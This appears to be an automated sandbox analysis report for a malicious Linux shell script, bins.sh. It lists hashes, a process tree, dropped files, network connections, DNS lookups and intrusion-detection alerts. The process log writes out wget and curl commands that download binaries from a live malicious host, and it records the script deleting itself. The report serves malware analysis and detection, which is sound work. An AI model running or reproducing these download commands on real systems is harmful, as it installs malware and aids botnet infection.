File name:	bins.sh
Full analysis:	https://app.any.run/tasks/d9ef3f4b-0172-4540-9a1c-7d31036b89b1
Verdict:	Malicious activity
Analysis date:	December 14, 2024, 00:25:17
OS:	Ubuntu 22.04.2 LTS
Tags:	exploit
Indicators:
MIME:	text/x-shellscript
File info:	Bourne-Again shell script, ASCII text executable, with very long lines (417)
MD5:	97EEF1BD0F9FCC6C9EDB32CC6CCC6DFE
SHA1:	DF541E4388C95B3D14ACA67B12197851062CFA8D
SHA256:	14EF6937989070008FFAAAEBD5B8EDD3FB59D4CBF971176B330363C533CD28F6
SSDEEP:	192:AvyDX4xZUvg4xeaWa5ca6Vla6KRTDX4xZIg4xeaz:AvyDX4xZUMa5ca6Vla6KRTDX4xZK

PID	CMD	Path	Indicators	Parent process
38755	/bin/sh -c "sudo chown user /home/user/Desktop/bins\.sh && chmod +x /home/user/Desktop/bins\.sh && DISPLAY=:0 sudo -iu user /home/user/Desktop/bins\.sh "	/usr/bin/dash	—	any-guest-agent
User: user Integrity Level: UNKNOWN
38756	sudo chown user /home/user/Desktop/bins.sh	/usr/bin/sudo	—	dash
User: root Integrity Level: UNKNOWN Exit code: 0
38757	chown user /home/user/Desktop/bins.sh	/usr/bin/chown	—	sudo
User: root Integrity Level: UNKNOWN Exit code: 0
38758	chmod +x /home/user/Desktop/bins.sh	/usr/bin/chmod	—	dash
User: user Integrity Level: UNKNOWN Exit code: 0
38759	sudo -iu user /home/user/Desktop/bins.sh	/usr/bin/sudo	—	dash
User: root Integrity Level: UNKNOWN
38761	/bin/bash /home/user/Desktop/bins.sh	/usr/bin/bash	—	sudo
User: user Integrity Level: UNKNOWN
38762	/usr/bin/locale-check C.UTF-8	/usr/bin/locale-check	—	bash
User: user Integrity Level: UNKNOWN Exit code: 0
38763	/bin/rm bins.sh	/usr/bin/rm	—	bash
User: user Integrity Level: UNKNOWN Exit code: 256
38764	wget http://conn.masjesu.zip/bins/flFp11gOKS5O1KbuHBReEPxs9O6CXUsqN4	/usr/bin/wget		bash
User: user Integrity Level: UNKNOWN Exit code: 0
38765	/snap/curl/1754/bin/curl -O http://conn.masjesu.zip/bins/flFp11gOKS5O1KbuHBReEPxs9O6CXUsqN4	/snap/curl/1754/bin/curl		bash
User: user Integrity Level: UNKNOWN Exit code: 0

PID	Process	Filename		Type
38764	wget	/home/user/flFp11gOKS5O1KbuHBReEPxs9O6CXUsqN4		o
		MD5:—	SHA256:—
38867	busybox	/home/user/h05dLumwbS5NIdaMUwe36sFjp7EsrqlZaX		binary
		MD5:—	SHA256:—
39976	busybox	/home/user/vvOzd21gp1VMiBa4WKG078qzhKaDahP2IQ (deleted)		o
		MD5:—	SHA256:—
40559	busybox	/home/user/4muyoQFtQu8OaZsYKV4wOsXp18QNsxRCaK		o
		MD5:—	SHA256:—

PID	Process	Method	HTTP Code	IP	URL	CN	Type	Size	Reputation
—	—	GET	—	185.125.190.18:80	http://connectivity-check.ubuntu.com/	unknown	—	—	whitelisted
—	—	GET	204	185.125.190.18:80	http://connectivity-check.ubuntu.com/	unknown	—	—	whitelisted
—	—	GET	—	185.125.190.18:80	http://connectivity-check.ubuntu.com/	unknown	—	—	whitelisted
38798	busybox	GET	—	87.121.86.228:80	http://conn.masjesu.zip/bins/flFp11gOKS5O1KbuHBReEPxs9O6CXUsqN4	unknown	—	—	—
38764	wget	GET	200	87.121.86.228:80	http://conn.masjesu.zip/bins/flFp11gOKS5O1KbuHBReEPxs9O6CXUsqN4	unknown	—	—	—
38803	wget	GET	200	87.121.86.228:80	http://conn.masjesu.zip/bins/NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB	unknown	—	—	—
38765	curl	GET	200	37.44.238.68:80	http://conn.masjesu.zip/bins/flFp11gOKS5O1KbuHBReEPxs9O6CXUsqN4	unknown	—	—	—
38839	wget	GET	—	37.44.238.68:80	http://conn.masjesu.zip/bins/h05dLumwbS5NIdaMUwe36sFjp7EsrqlZaX	unknown	—	—	—
38830	busybox	GET	—	87.121.86.228:80	http://conn.masjesu.zip/bins/NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB	unknown	—	—	—
38867	busybox	GET	—	87.121.86.228:80	http://conn.masjesu.zip/bins/h05dLumwbS5NIdaMUwe36sFjp7EsrqlZaX	unknown	—	—	—

PID	Process	IP	Domain	ASN	CN	Reputation
—	—	185.125.190.18:80	connectivity-check.ubuntu.com	Canonical Group Limited	GB	whitelisted
484	avahi-daemon	224.0.0.251:5353	—	—	—	unknown
38764	wget	87.121.86.228:80	conn.masjesu.zip	SKAT TV Ltd.	BG	unknown
38765	curl	37.44.238.68:80	conn.masjesu.zip	Harmony Hosting SARL	FR	unknown
38798	busybox	87.121.86.228:80	conn.masjesu.zip	SKAT TV Ltd.	BG	unknown
38803	wget	87.121.86.228:80	conn.masjesu.zip	SKAT TV Ltd.	BG	unknown
—	—	87.121.86.228:80	conn.masjesu.zip	SKAT TV Ltd.	BG	unknown
38830	busybox	87.121.86.228:80	conn.masjesu.zip	SKAT TV Ltd.	BG	unknown
38835	NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB	87.121.86.228:443	conn.masjesu.zip	SKAT TV Ltd.	BG	unknown
38835	NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB	87.121.86.228:80	conn.masjesu.zip	SKAT TV Ltd.	BG	unknown

Domain	IP	Reputation
connectivity-check.ubuntu.com	185.125.190.18 91.189.91.49 91.189.91.98 91.189.91.48 185.125.190.98 91.189.91.97 185.125.190.96 91.189.91.96 185.125.190.97 185.125.190.49 185.125.190.17 185.125.190.48 2620:2d:4000:1::2b 2620:2d:4000:1::22 2620:2d:4002:1::198 2620:2d:4000:1::23 2620:2d:4000:1::2a 2620:2d:4000:1::96 2620:2d:4000:1::98 2620:2d:4000:1::97 2620:2d:4002:1::197 2001:67c:1562::23 2620:2d:4002:1::196 2001:67c:1562::24	whitelisted
google.com	142.250.186.110 2a00:1450:4001:829::200e	whitelisted
conn.masjesu.zip	87.121.86.228 37.44.238.68	unknown
167.100.168.192.in-addr.arpa	—	unknown

PID	Process	Class	Message
—	—	Misc activity	ET INFO Observed DNS Query to .zip TLD
—	—	Misc activity	ET INFO Observed DNS Query to .zip TLD
—	—	Misc activity	ET INFO HTTP Request to a *.zip Domain
—	—	Potential Corporate Privacy Violation	ET POLICY Executable and linking format (ELF) file download Over HTTP
—	—	Misc activity	ET INFO Observed DNS Query to .zip TLD
—	—	Misc Attack	ET COMPROMISED Known Compromised or Hostile Host Traffic group 18
—	—	Misc activity	ET INFO Observed DNS Query to .zip TLD
—	—	Misc activity	ET INFO HTTP Request to a *.zip Domain
—	—	Potential Corporate Privacy Violation	ET POLICY Executable and linking format (ELF) file download Over HTTP
—	—	Misc activity	ET INFO Observed DNS Query to .zip TLD

General Info

bins.sh

97EEF1BD0F9FCC6C9EDB32CC6CCC6DFE

DF541E4388C95B3D14ACA67B12197851062CFA8D

14EF6937989070008FFAAAEBD5B8EDD3FB59D4CBF971176B330363C533CD28F6

192:AvyDX4xZUvg4xeaWa5ca6Vla6KRTDX4xZIg4xeaz:AvyDX4xZUMa5ca6Vla6KRTDX4xZK

Software environment set and analysis options

Launch configuration

Software preset

Behavior activities

MALICIOUS

EXPLOIT has been detected (SURICATA)

SUSPICIOUS

Modifies file or directory owner

Potential Corporate Privacy Violation

Executes commands using command-line interpreter

Uses wget to download content

Connects to the server without a host name

Executes the "rm" command to delete files or directories

Connects to unusual port

Reads /proc/mounts (likely used to find writable filesystems)

INFO

Malware configuration

Static information

TRiD

Video and screenshots

Processes

Behavior graph

Specs description

Process information

Information

Information

Information

Information

Information

Information

Information

Information

Information

Information

Files activity

Dropped files

Network activity

HTTP requests

Connections

DNS requests

Threats

Debug output strings